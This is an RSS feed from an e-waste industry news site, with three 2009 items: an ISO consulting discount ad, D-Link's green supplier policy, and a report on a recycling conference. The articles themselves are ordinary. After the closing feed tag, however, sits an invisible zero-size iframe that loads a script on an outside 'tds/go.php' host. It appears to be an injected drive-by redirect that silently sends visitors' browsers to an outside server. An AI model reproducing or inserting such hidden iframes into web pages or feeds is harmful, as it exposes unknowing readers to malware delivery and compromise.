<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Electronic Waste Journal &#187; oem</title>
	<atom:link href="http://www.ewastejournal.com/tag/oem/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ewastejournal.com</link>
	<description>An online resource for information on trends, events and practices in the emerging field of electronic waste management.</description>
	<lastBuildDate>Thu, 02 Feb 2012 15:34:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>ALERT! Save Up To 70% On ISO 9001 &amp; ISO 14001 Consulting Fees (Get Certified In 3 Months).</title>
		<link>http://www.ewastejournal.com/save-up-to-70-on-iso-9001-iso-14001-consulting-fees-earn-certification-in-3-6-months/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=save-up-to-70-on-iso-9001-iso-14001-consulting-fees-earn-certification-in-3-6-months</link>
		<comments>http://www.ewastejournal.com/save-up-to-70-on-iso-9001-iso-14001-consulting-fees-earn-certification-in-3-6-months/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 08:02:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[1SO 14001]]></category>
		<category><![CDATA[certification]]></category>
		<category><![CDATA[electronics]]></category>
		<category><![CDATA[estewards]]></category>
		<category><![CDATA[ewaste]]></category>
		<category><![CDATA[ewaste management]]></category>
		<category><![CDATA[ISO]]></category>
		<category><![CDATA[oem]]></category>
		<category><![CDATA[recycle]]></category>
		<category><![CDATA[recycling]]></category>
		<category><![CDATA[scrap circuit boards]]></category>
		<category><![CDATA[telecom recycle]]></category>
		<category><![CDATA[telecom scrap]]></category>
		<category><![CDATA[waste]]></category>

		<guid isPermaLink="false">http://www.ewastejournal.com/?p=293</guid>
		<description><![CDATA[NEED ISO Certification?  WANT TO SAVE UP TO 70%? We can help! We are pleased to announce that we can now save you up to 70% on ISO consulting fees. Fees vary depending on the size of your business. For &#8230; <a href="http://www.ewastejournal.com/save-up-to-70-on-iso-9001-iso-14001-consulting-fees-earn-certification-in-3-6-months/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>NEED ISO Certification?  WANT TO SAVE UP TO 70%? We can help!</p>
<p>We are pleased to announce that we can now save you up to 70% on ISO consulting fees. Fees vary depending on the size of your business. For more information and/or a free evaluation,</p>
<p>CALL 323-972-0011 to discuss or send an email to info@electronicsrecyclingexpo.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ewastejournal.com/save-up-to-70-on-iso-9001-iso-14001-consulting-fees-earn-certification-in-3-6-months/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Networking &amp; Broadband OEM (D-Link) Requires Vendors To Earn ISO 14001 Certification</title>
		<link>http://www.ewastejournal.com/networking-broadband-oem-d-link-requires-suppliers-to-earn-iso-14001-certification/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=networking-broadband-oem-d-link-requires-suppliers-to-earn-iso-14001-certification</link>
		<comments>http://www.ewastejournal.com/networking-broadband-oem-d-link-requires-suppliers-to-earn-iso-14001-certification/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 00:27:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[INDUSTRY]]></category>
		<category><![CDATA[1SO 14001]]></category>
		<category><![CDATA[certification]]></category>
		<category><![CDATA[dlink]]></category>
		<category><![CDATA[ISO]]></category>
		<category><![CDATA[networking gear]]></category>
		<category><![CDATA[oem]]></category>

		<guid isPermaLink="false">http://www.ewastejournal.com/?p=262</guid>
		<description><![CDATA[In what is expected to be a fast developing business trend within the electronics industry, D-Link, the end-to-end computer networking solutions provider for consumer and business, has issued a Green logistics policy for vendor compliance to support its continuing commitment to &#8230; <a href="http://www.ewastejournal.com/networking-broadband-oem-d-link-requires-suppliers-to-earn-iso-14001-certification/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In what is expected to be a fast developing business trend within the electronics industry, D-Link, the end-to-end computer networking solutions provider for consumer and business, has issued a Green logistics policy for vendor compliance to support its continuing commitment to energy conservation.</p>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333;">The first manufacturer to introduce Green design and manufacturing processes, D-Link announced it will favor companies that support Green practices and has issued energy-saving regulations to its suppliers based on government guidelines, including the following:</p>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333;"> </p>
<pre>--  Environment Management - D-Link prefers suppliers that comply with
    ISO14001 regulations and get ISO14001 certification within a certain period
    of time, and reviews their performance regularly.

--  Hazardous Substance Management - D-Link started with those substances
    restricted by EU legislation in electrical and electric equipment, then
    added restricted hazardous substances from other regions. Suppliers have
    been requested to help monitor compliance.

--  For Waste Control and Recycling - D-Link also included the EU WEEE
    Directive 2002/96/EC (Waste Electrical and Electronic Equipment Directive)
    into its product management.</pre>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333;">&#8220;Around the world, interest in protecting the environment and in purchasing Green products is becoming more and more popular,&#8221; said Tony Tsao, CEO and president, D-Link Corporation. &#8220;In 2005 D-Link recognized the importance of manufacturing energy-saving products using Green practices, and now is extending this initiative to its suppliers.&#8221;</p>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333;">D-Link is also committed to seeking greener designs and to convert its current supply chain to favor companies that support Green practices. D-Link Green™ combines these goals to include the following:</p>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333;"> </p>
<pre>--  Hazardous Chemical Substance Management - D-Link requires vendors to
    maintain strict standards and separates the environmental management
    materials as Level A and Level B, to minimize or eliminate the use of
    hazardous substances in its products.

--  Energy Efficiency - D-Link Green products include a number of
    innovations to reduce energy consumption and implement special power-saving
    features. D-Link is also an ENERGY STAR® partner for end-use products
    incorporating single voltage external power supplies.

--  Recycling - D-Link implements the 3R concept in product development --
    Recycle, Reuse and Recovery -- into package design to reduce excess
    packaging.</pre>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333;">For more information about D-Link&#8217;s Green Supply Chain Management Policy please visit:<a style="font-size: 11px; color: #0066cc; text-decoration: none; font-weight: bold;" href="http://dlinkgreen.com/greensupplychainmanagement.asp">http://dlinkgreen.com/greensupplychainmanagement.asp</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ewastejournal.com/networking-broadband-oem-d-link-requires-suppliers-to-earn-iso-14001-certification/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1st International Electronics Recycling Conference &amp; Expo (IERCE 2009)</title>
		<link>http://www.ewastejournal.com/international-electronics-recycling-conference-expo/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=international-electronics-recycling-conference-expo</link>
		<comments>http://www.ewastejournal.com/international-electronics-recycling-conference-expo/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 01:16:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EVENTS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[certification]]></category>
		<category><![CDATA[electronics]]></category>
		<category><![CDATA[estewards]]></category>
		<category><![CDATA[ewaste]]></category>
		<category><![CDATA[ewaste laws]]></category>
		<category><![CDATA[ewaste management]]></category>
		<category><![CDATA[gadget]]></category>
		<category><![CDATA[green news]]></category>
		<category><![CDATA[ISO]]></category>
		<category><![CDATA[oem]]></category>
		<category><![CDATA[recycling]]></category>
		<category><![CDATA[scrap cell phones]]></category>
		<category><![CDATA[telecom recycle]]></category>
		<category><![CDATA[telecom scrap]]></category>
		<category><![CDATA[waste]]></category>

		<guid isPermaLink="false">http://www.ewastejournal.com/?p=62</guid>
		<description><![CDATA[The  first International Electronics Recycling Conference and Expo was recently held in Los Angeles, California. With over 40 speakers, several hundred attendees and 50 exhibitors, the event was a huge success. Most participants are already looking forward to next year&#8217;s &#8230; <a href="http://www.ewastejournal.com/international-electronics-recycling-conference-expo/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The  first International Electronics Recycling Conference and Expo was recently held in Los Angeles, California. With over 40 speakers, several hundred attendees and 50 exhibitors, the event was a huge success. Most participants are already looking forward to next year&#8217;s event. Participants included exhibitors and representatives from over 300 electronics manufacturers, electronics resellers and electronic waste management companies representing over 20 nations.</p>
<p>In addition to 20 educative sessions, discussions and presentations from speakers including Jim Puckett, Executive Director of the Basel Action Network, the 2 day event  also included a trade-show with exhibitors ranging from electronics resellers, recyclers, certification consultants, environmental groups and more. &#8221; We made a lot of potentially lucrative deals and the sessions were highly informative , I&#8217;ve learned a lot and made a lot of contacts in 2 days&#8221; states Sharmaine Robinson who is Vice President of Sales and  Marketing at IT renew, an electronics recycling and asset recovery corporation based in Newark , California.</p>
<p>Electronic Recyclers International (ERI), the nation&#8217;s leading recycler of electronic waste, received the prestigious &#8220;Electronic Recycler of the Year&#8221; award at this year&#8217;s International Electronics Recycling Conference &amp; Expo. Other award winners included the Seattle based environmental watchdog group, Basel Action Network, Canadian based recycler G.E.E.P &amp;  Dexter, Michigan based wireless handset recycler, Recellular.</p>
<p>&#8220;We believe our honorees are great examples and true leaders in the responsible yet environmentally-friendly management of end of life, defective and surplus electronic assets&#8221; states Ismail Oyekan, Program Director of the International Electronics Recycling Expo. &#8220;Electronic waste from surplus and end of life assets represent the fastest growing waste streams globally and our event is designed to bring together leading experts in an ideal platform to learn new market trends and exchange best practice ideas&#8221;.</p>
<p>&#8220;It&#8217;s truly a humbling honor to be recognized as the leader in our industry,&#8221; said John S. Shegerian, ERI&#8217;s Chairman and CEO. &#8220;That we received the recognition at this terrific, forward thinking event, the International Electronics Recycling Conference &amp; Expo, makes it even more special because we know those monitoring our industry the closest are the ones who have decided to single us out. We congratulate the organizers of this event for bringing together the planet&#8217;s top electronic recyclers for an exchange of ideas. At ERI, we work every day to make sure we are setting an example of sustainability and environmental responsibility that we hope all electronic recyclers follow. This kind of recognition helps inspire our entire team to continue with that cause.&#8221;</p>
<p>For more information including future dates, registration and exhibitor info visit <a href="http://www.electronicsrecyclingexpo.com ">www.electronicsrecyclingexpo.com </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ewastejournal.com/international-electronics-recycling-conference-expo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>


